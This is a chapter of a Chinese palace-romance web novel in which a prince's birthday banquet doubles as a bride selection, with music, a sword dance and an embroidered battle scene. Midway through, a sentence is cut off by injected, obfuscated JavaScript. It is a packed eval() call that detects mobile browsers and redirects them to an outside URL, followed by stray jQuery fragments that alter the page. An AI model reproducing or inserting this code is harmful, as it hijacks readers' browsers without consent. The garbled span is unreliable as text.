123读书网 > 玄幻小说 > 并骑弈飘飖 > 44.幽冥卷·第十九章
    19


    日子一天天过去,很快,就到了七月二十八,邹瑅二十二岁的生辰当天。


    生辰宴就在三皇子府举办,太后早早命人来将三皇子府布置了一番,又从宫内与郊外行宫中搬了不少鲜花过来。


    一时间,三皇子府繁美热闹异常,若是再贴两个喜字,都能直接成婚了。


    邹瑅昨夜与昔日行军时的旧友喝到了半夜才回来睡下,被小厮喊起来梳洗更衣的时候人都还是晕的。


    一番折腾,邹瑅终于清醒过来,但紧接着人就被带到了后院。


    空荡荡的三皇子府一改之前的冷清,热闹非凡,所到之处,都是年轻娇艳、盛装打扮的女子。


    这些女子或美艳、或清雅、或落落大方、或含羞带怯,她们或赏花游乐、或翩翩起舞、或抚琴、或作画、或对弈,姿态各异,无一不光彩夺目。


    邹瑅这辈子没见过那么多年轻女子,一时面红耳赤,走路都不知道该先迈哪条腿了。


    去到主会场,看到端坐在中间的皇祖母与母后,邹瑅才没那么紧张。


    他上前行礼,“皇祖母,母后,二皇嫂。”


    皇后欧阳羽儿面色淡淡,独自坐在一旁垂首低眉,手中拿着一串佛珠在盘拨,对于他的呼喊,只是微微颔首,都不曾抬眼看他。


    太后和二皇子妃则紧挨着坐在一起,被四个妙龄女子环绕着。


    太后和蔼笑着朝他招手,“瑅儿来了,快到祖母这边来。”


    若是往常,邹瑅肯定上前顺势在太后脚踏处坐下,然后依附在她的膝盖上同她说话,但今日不同往日,他只能在太后三步处站定。


    太后笑着说,“这四个姑娘是最合哀家眼缘,”她又对四名少女说,“同你们聊了太久,哀家都渴了,来,自己将你们的名字一一说与瑅儿认识吧。”


    四名少女红着脸你看看我,我看看你,都不好意思第一个上前。


    还是二皇子妃推了推离她最近的女子,打趣说:“三殿下没来的时候,对他的仰慕不绝于耳,如今本尊来了,怎么一个个的都不好意思开口了,玉玟,你先来吧。”


    少女雅丽的脸更红了,她羞怯地对邹瑅行了个礼,“臣女沈玉玟见过三皇子殿下。”


    邹瑅脸也有些红,也不好上前扶人家,只站在原地颔首表示回应。


    有了开头,后面三个也就自然而然了。


    “臣女李幼菱见过三皇子殿下。”


    “臣女余安安见过三皇子殿下。”


    “臣女曹玉笯见过三皇子殿下。”


    三人依次说完,二皇子妃又笑道:“怎的这么吝啬。”她又对邹瑅说,“三皇弟,容皇嫂仔细给你介绍一番。”


    虽然和邹珣不对付,但不妨碍二皇嫂给他很好的印象,何况还是当着这么多人的面,邹瑅自然腼腆笑着回应,“好,有劳皇嫂了。”


    二皇子妃名为曹芸,正怀有身孕,肚子不小,少说也有五六个月了。


    但她还是站起身走到少女们中间拉着挨个介绍,“玉笯是我母家的妹妹,今年已经十八岁,最喜诗赋丹青,自她及笄那日便有不少官宦子弟上门求娶,但她读了太多诗书、看了太多丹青佳作,一般男人入不得她的眼,也因此推拒了很多好姻缘。”


    “姐姐。”曹玉笯清丽的脸上满是嫣红,低着头恨不得将整个人藏起来。


    太后笑道,“看来,我们瑅儿是侥幸入了玉笯的一双明眸了。”


    “皇祖母……”


    “太后……”


    长辈的一句调侃,让两人都羞涩极了,被调侃的两人不经意的对视,又是一阵慌乱,太后等人又是一阵好笑。


    太后适时叫停,“好了好了,不笑了,等会两人该熟透了。”


    二皇子妃一边笑,一边又伸出另一只手拉住曹玉笯身边容貌可爱的圆脸女子,“安安是玉笯的闺中密友,今年十六岁,是卫尉兼任内史的余大人八个孩子中唯一的女儿,对安安宠爱非凡,但安安就爱女红,一双小手那叫一个巧啊。”


    她说着,将手中的锦帕展开给邹瑅看,上面绣的是一对麒麟,邹瑅在女红方面一窍不通,但不妨碍他觉得锦帕上的麒麟生动。


    “这方锦帕就是安安得知我有孕后特意绣来送给我的,麒麟送子也护子。”


    余安安圆圆的小脸两边各点缀着一团坨红,本就可爱的脸蛋看起来更加娇艳动人,和邹瑅兀地对视上,她虽然慌张,但又忍不住偷偷又去看邹瑅,别提多娇俏了。


    二皇妃轻笑打断两人,又说:“听闻安安和玉笯以皇弟当年英雄事迹共创了一幅锦绣,在闺阁中藏了好几年,谁都不给看,今日我可算是沾皇弟的光,终于有大饱眼福的机会了。”


    邹瑅有些惊喜,也更加意外,“锦绣在何处。”


    太后笑道:“猴急什么,等会有的是时间给你看。”


    邹瑅羞涩摸摸鼻子,两个女孩也是羞涩万分,不敢再看他。


    二皇妃又牵住旁边的黄衣女子笑着说:“皇弟莫急,我还没介绍完呢。这位是幼菱,右相李大人的嫡长孙女,今年五月方才及笄。”


    她又亲切看向李幼菱,“听闻幼菱你受到你母舅王将军的影响自幼习武,今日难得有此机会,敢不敢与三皇子切磋切磋?”


    李幼菱抬头看了邹瑅一眼,看到邹瑅脸上的惊讶与期待,她当即又移开视线看向二皇妃。


    “二皇妃就会取笑臣女,”她娇嗔道,“女儿家强身健体的把式,哪是真刀真枪征战沙场的三殿下的对手。”


    邹瑅却道:“女子未必不如男,不比比如何知道不是对手。”


    李幼菱对他的印象更甚,也有些跃跃欲试,但想到长辈的叮嘱,还是摇了摇头。


    见邹瑅面露失望,太后笑道:“那就不算切磋,权当瑅儿与幼菱舞给哀家看的。”


    她对身后的老妪道:“快命人去取剑来。”


    又笑着对二皇子妃说:“芸儿,你作为她们的姐姐,可不能厚此薄彼,快先给瑅儿好好介绍一下玉玟。”


    “瞧我,光顾着想看舞剑去了。”二皇子妃快步走到沈玉玟身边亲热牵起她的手,“玉玟今年十六岁,是御史大夫沈大人的幼女,琴棋书画无一不通,据说玉玟弹奏的《玄鸟东驰》气势如虹,听者无一不赞宛若置身我大嬴历代先祖血战现场,不知我们今日是不是能沾三殿下的福,亲耳听听。”


    沈玉玟也很羞涩,但还是落落大方回答:“二皇子妃谬赞,臣女正欲弹奏《玄鸟东驰》为殿下庆生。”


    “好好好,”太后慈爱且欣慰大笑,笑声未落,成武帝的声音传来,“沙於,去看看是哪家女儿逗得母后如此愉悦,重赏。”


    闻声,众人纷纷转过身去跪下行礼,齐声高呼‘参见陛下。’


    只不过成武帝的动作更快,太后还没真正站起来,他就先走到太后身前扶着她又坐了回去。


    在母子俩寒暄的时候,跟随成武帝而来的韩贵妃和几个妃子、还有来给邹瑅庆生的几个族亲、重臣纷纷给太后和皇后行礼。


    等太后喊众人起来,成武帝才道:“都起来坐下说吧。”


    皇帝都发话了,众人自然照做。


    大嬴的男女大防并没有那么严重,场地也足够大,见皇帝都来了,在各处赏花游玩的女子也纷纷聚拢过来,在自己的位置上坐下。


    一同来的还有邹珣的嫡长子邹沛。


    小小的人却一眼看到成武帝和太后,欢欢喜喜喊着“皇爷爷、皇太奶奶”就朝身居高位的两人奔去。


    两人自然和蔼回应,成武帝更是朝他伸出手,“到皇爷爷这来。”


    邹沛才五岁,长得白嫩可爱,虽然尚还稚嫩,眉眼之间却已经能隐隐看见成武帝的影子。


    邹沛才笑着冲进成武帝的怀中,一句一个皇爷爷喊得乖巧甜腻,邹珣想唤他过去都喊不动。


    成武帝心情大好,“沛儿乐意待在朕身边,珣儿你再多管,朕可就要找人把你赶出去了。”


    邹沛坐在成武帝腿上嘿嘿笑着重复,“赶出去、赶出去。”


    邹珣一听佯装愠怒道:“嘿,你个小子,有了皇爷爷,爹都不认识了吗?”


    邹沛被他的表情逗得直笑。


    稚子天真无邪,成武帝笑意更甚,摸着邹沛的小脑袋逗他说:“好了,今日是你小皇叔的生辰,我们沛儿可有为小皇叔准备生辰礼啊?”


    “准备了。”邹沛奶声奶气说着,从成武帝怀中下去,走到邹瑅身前,“小皇叔,你把脑袋低下来一点,我有礼物要送给你。”


    邹沛的确可爱,一点没有邹珣讨人厌的影子,邹瑅满脸笑意,依言照做,还没反应过来,邹沛先吧唧一口亲在他的脸上。


    众人都是一愣,邹瑅更是直接呆愣在原地。


    却听邹沛奶声奶气说:“皇爷爷说有我陪着很开心、都能多活几年,小皇叔被我非常厉害的亲了一口,一定能长命百岁的。”


    童真的话语听得在场的众人一片心软,邹瑅更是,“谢谢沛儿。”他说着,取下腰间的金玄鸟平安无事牌给邹沛挂上,“这个平安无事牌是同父皇出征那年,皇祖母特意命人为我打造的,它陪我出生入死庇佑我多年,如今我把它送给你,有它压祟驱邪,沛儿也一定会平安无事、健康长大。”


    邹珣一惊,脸上眼中复杂无比。


    邹沛还不懂其中含义,也不缺奇珍异宝,只知道被长辈赏赐礼物要有礼貌。


    他笑得眉眼弯弯说:“谢谢小皇叔!”


    邹瑅摸摸他的脑袋,放他回到成武帝身边。


    成武帝将邹沛抱到腿上坐下,看向太后说:“母后,朕方才恍惚听见有人说要弹奏《玄鸟东驰》,不知是哪家的女子啊?”


    太后笑着说:“是沈家的女儿沈玉玟。”


    沈玉玟闻言站起身来跟成武帝行礼,见沈玉玟的琴也已经取来,太后笑着说,“陛下想听,那便先由玉玟给我们弹奏《玄鸟东驰》吧。”


    这话主要是说给李幼菱听的,见她脸上没有半分不忿,太后在心中对她也更加满意。


    却听沈玉玟说:“臣女琴艺平平,恐陛下与太后无聊,斗胆恳请三殿下与幼菱姑娘舞剑助兴。”


    她说着跪了下来,今日是邹瑅的生辰,她的恳求也十分微不足道,不等成武帝说什么,邹瑅便道:“我乐意之至,不知李姑娘意向如何。”


    李幼菱有些害怕自家祖父的视线,但被皇上太后还有三殿下看着,她也不敢不点头。


    奴仆将早已取来的一对佩剑分别送到邹瑅和李幼菱手中,两人握剑起势,相隔三尺,面对面站在中间。


    随着坐在成武帝右手边的沈玉玟拨动琴弦,两人翩翩起舞。


    《玄鸟东驰》是始皇帝一统天下后,命乐府以大嬴发家到崛起再到一统为背景,编撰来封禅还有祭天祭祖的礼乐。


    该曲气势如虹,给人玄鸟腾飞,驱使猛虎出山,带来的天崩地裂般的震撼之感,也是成武帝出征的曲乐。


    沈玉玟的琴技的确了得,虽无编钟、镈、萧等乐器协助,她仍弹出了千军万马冲锋厮杀、势不可挡的气势。


    再说邹瑅与李幼菱的舞剑,李幼菱的剑术不低,邹瑅刚开始不清楚她的深浅,便以表演为主,点到为止的试探。


    随着音乐进入高潮,李幼菱明显受音乐影响,攻势越来越猛,邹瑅一喜,也不再收着,开始出击,两人就这样伴随着音乐打得你来我往。


    一个红袍锦衣、一个黄裙绡纱,似蝴蝶,似飞鸟,又似猛兽。


    在音乐的影响下,两人都越打越上头,临近尾声时,更是谁也不让着谁。


    随着沈玉玟最后一抚琴,邹瑅腾跃而起,在半空中一剑挑飞李幼菱手中之剑,最后在空中翻转一周稳稳落在李幼菱身后,剑尖直抵李幼菱后脑勺。


    众人惊愕不已,直到成武帝鼓掌喊“好啊!”,众人才反应过来,爆发出剧烈的掌声。


    邹瑅倒是被众人的掌声弄得不好意思了,他收剑归鞘,又捡起李幼菱被他打落的剑还给她。


    邹瑅如是真挚说道:“巾帼不让须眉,你若早出生几年,我大嬴或许要多一位战功赫赫的女将军了。”


    李幼菱接过剑,愣愣看着邹瑅,许久没反应过来。


    邹瑅又走到沈玉玟面前,“沈姑娘琴技登峰造极,《玄鸟东驰》经沈姑娘弹奏之后,让人不由想起我大嬴历代祖先的雄伟英姿,自豪之感油然心生,顿觉身为大嬴子民实属幸运与荣光。”


    沈玉玟也明显愣住了。


    邹瑅言语真挚、双眸炯炯有神,一张脸尚还稚嫩却不缺英气,哪怕他说的是荒诞无稽的戏言,也很难不将其视作真理。


    太后赶在成武帝开口前说:“听闻玉笯与安安的锦绣是以瑅儿死战护粮的事迹创作的,趁着《玄鸟东驰》的余音未消,快些呈上来。”


    成武帝露出感兴趣的神色,“还有此事,快快呈上来。”


    奴仆早就在旁边候着,闻言立刻将锦盒送到两名少女面前。


    两人打开盒子,拿出里面一丈宽、半丈高的锦绣走到正中间,行礼过后,将其缓缓展开。


    随着锦绣展开,血腥又壮烈雄伟的画卷映入眼帘,成武帝太后几人看得震惊不已。


    下方众人好奇得抓耳挠腮,邹瑅都想起身绕到前面去看,太后注意到他的急切,轻笑一声,喊两人快转过去给邹瑅这个寿星看看。


    一时间,惊呼声四起。


    锦绣中的主人公是一个身穿银色战甲、背披红色披风的少年将军。


    他背对众人站在尸山血海之上,背后是匆忙远去的运粮部队、前方是敌国追兵。


    尚未加冠而高束的长发随风飘扬,银白的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748876|188740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    战甲上有多处血迹,好几处还留有被强行斩断、尚还深陷皮肉中的箭头。


    他一手高举‘嬴’字旗帜、一手握着长剑挥斩向前方众多恶鬼般凶神恶煞的敌国士兵。


    可以看出他已经精疲力竭,他手下的士兵也死伤惨重,幸好,远处的山丘间,依稀看见几面‘嬴’字与‘邹’字旗帜。


    场景和很多细节都不对,但不妨碍邹瑅想起这段过往。


    他奉命前去接应粮草,回营行至一处峡谷,遭遇敌国埋伏。


    算算日子,前方众将士已经饿着肚子厮杀了三天了,这批粮草,说什么也不能丢。


    没有太多犹豫,他当即决定以身护粮,自己带三百兵马与之厮杀拼搏,撕开突围的口子,另外一千两百人则赶忙护送粮草突围。


    殊死搏斗终于撕开口子,但敌人数量太多,留下和他一起断后的三百人几乎死绝,他身上多处被刺伤,又痛又累。


    现在回想起来,他都不知道自己当时哪来的力气,左手高举着旗帜,右手紧握长枪坚持了那么久的。


    万幸,在他被困、头颅即将被斩落的前一刻,一只长枪破空而出,他回头望去,只见邹杲带着千军万马朝他飞奔来。


    也是那一瞬间,放下心来的他再也坚持不住,朝着粮草远去、邹杲急切赶来的方向轰然倒塌。


    邹杲当即弃马,施展轻功朝他飞来,在他瘫倒在地上的前一刻,邹杲接住了他,并稳住了他手中的大‘嬴’旗帜。


    晕过去前,他看到邹杲满脸赞赏之色、对他说:“你辛苦了,接下来放心交给我。”


    因为想到过往,邹瑅愣愣盯着看了许久,久久回不过神来。


    曹玉笯和余安安还以为是邹瑅不喜她们的礼物,两人一时紧张惶恐不已。


    片刻,年长一些的曹玉笯鼓起勇气道:“此幅画卷是臣女听闻三殿下死战护粮壮举后,凭借想象所作,闺阁女子见识浅薄、漏洞百出,任凭安安女红再好,也无法还原真实战场的凶险与壮烈……”


    她越说越颤抖得厉害,旁边的余安安张嘴也要往自己身上揽责。


    邹瑅反应过来两人误会了,连忙道:“不,二位姑娘无论是画技还是绣工都是顶尖,也正因为太好,我才不由身临其境,想起当时的凶险,看得入了迷。”


    成武帝也夸道:“只凭想象画成这般,并一针一线将之绣出来,你二人已经是丹青与女红中的翘楚了,来啊,各赏展翅玄鸟金步摇一支。”


    转变来得太快,两人都是一愣,听到太后让她们还不快谢恩,两人才反应过来,将手中的锦绣交予主动上前接过的邹瑅后,连忙跪下谢恩。


    太后笑盈盈提醒成武帝又说:“陛下可不要忘了玉玟与幼菱啊。”


    别说,成武帝还真忘了,经她提醒,片刻沉思后,当即说道:“曹氏女玉笯、余氏女安安、沈氏女玉玟、李氏女幼菱,四人各有姿态,皆当为我大嬴女子之典范,各赏一支玄鸟金步摇,另外……”


    “沙於,命人去内帑中取一套蓝田玉墨宝、一匹蜀锦、一把和田玉琴、一柄赤金镶七彩玉石宝剑,分别赐予此四女。”


    如此大的手笔,别说是四人及她们的长辈,连邹珣和邹瑅都是一惊,但邹瑅也由衷替她们高兴。


    在其余众人艳羡的注视下,四人及其长辈连忙跪下谢恩,成武帝摆摆手喊众人起来,又说饿了,让上菜。


    宴席早已备好,一声令下,很快齐备。


    伴随着乐府准备的歌舞,盛大的宴会开始。


    吃得差不多,众人一一献礼。


    说是献礼,其实是让所有女子都有机会在邹瑅面前露面,好让邹瑅挑选心仪的。


    能参加宴会的都是太后挑选过的,只要邹瑅点头,这些女子便都能在最短的时间进入邹瑅的后院。


    这一过程有些漫长,但才刚开始,只见了五六个女子,便突然下起了雨。


    刚开始还是小雨,成武帝刚让继续,霏霏细雨在极短的时间内发展成倾盆大雨,众人这才不得不转入室内。


    *


    晚上,邹瑅被召到太后寝殿用膳,成武帝和皇后也在。


    成武帝的威严与皇后的沉默让邹瑅食欲大减,一碗饭下肚便不再吃了。


    见他放下了碗筷,太后一边命人送来糕点,一边问他:“今日见了那么多女子,可有心仪的。”


    是见了不少,但邹瑅有影响的也就太后让二皇子妃亲自介绍的四人,四人还都各有优点,一时半会,邹瑅还真没法从中选出最喜欢的那个。


    邹瑅挠挠鼻子说:“如父皇所说,她们各有姿态,都很好。”


    成武帝轻笑道:“你的意思是都喜欢?这么贪心!”


    明显的玩笑话让邹瑅轻松不少,同时也觉得脸热,“父皇…孩儿不是这个意思。”


    太后和成武帝都笑出声。


    邹瑅所有害羞难为情的情绪在注意到旁边沉默神游的母亲时消散一空,但他还是鼓起勇气对皇后道:“母后为孩儿掌掌眼吧。”


    他做好了被冷落的心理准备,出乎意料的,欧阳羽儿回神看向了他。


    所有人都停下了手上的动作,许久,才听她淡淡说:“你自己再多看看,挑自己最喜欢的。”


    说罢,她收回视线,又进入了入定的状态。


    成武帝手中的筷子在碗碟上磕碰发出声响,沉默才被打破。


    太后笑着应和,“你母后所言不错,瑅儿也还小,待明日祖母命人将姑娘们的画卷与家世背景都送到你府上,你一一看过再说。”


    成武帝视线和注意力虽都在手下的菜上,但也淡淡道:“索性也耽误了,不差这一时半会,过完年你若还没有心仪的,朕再根据你皇祖母挑选的给你赐婚也不迟。”


    邹瑅一愣,想说他们现在安排也可以,但想到母后那满含深意的眼神,他还是没说出口,“是,父皇。”


    成武帝点点头,放下筷子对太后说:“夜深了,母后早些休息,朕先回去了。”


    太后自然点头,起身送他。


    见状,邹瑅也跟着起身,他将太后拉回去坐下,“孩儿送父皇回去吧,皇祖母、母后,孩儿告退。”


    说罢,不等太后说什么,一溜烟跟在成武帝身后跑了。


    目送两人远去,太后这才收回视线看向皇后,见皇后也起身要走,她上前拉住皇后的手腕,“羽儿,”


    欧阳羽儿淡淡看着她,等着她的下文。


    太后看着她,满脸都是心疼,最终,她长叹一口气,“瑅儿都这么大了,蹉跎了大半生,羽儿,你也该释然了。”


    欧阳羽儿有片刻的动容,但很快又恢复那副淡然目空一切的模样,“谢太后关心,我每日吃斋念佛挺好的。”


    太后仍是叹气,她心疼摸摸欧阳羽儿的头发,“走吧,我送你出去。”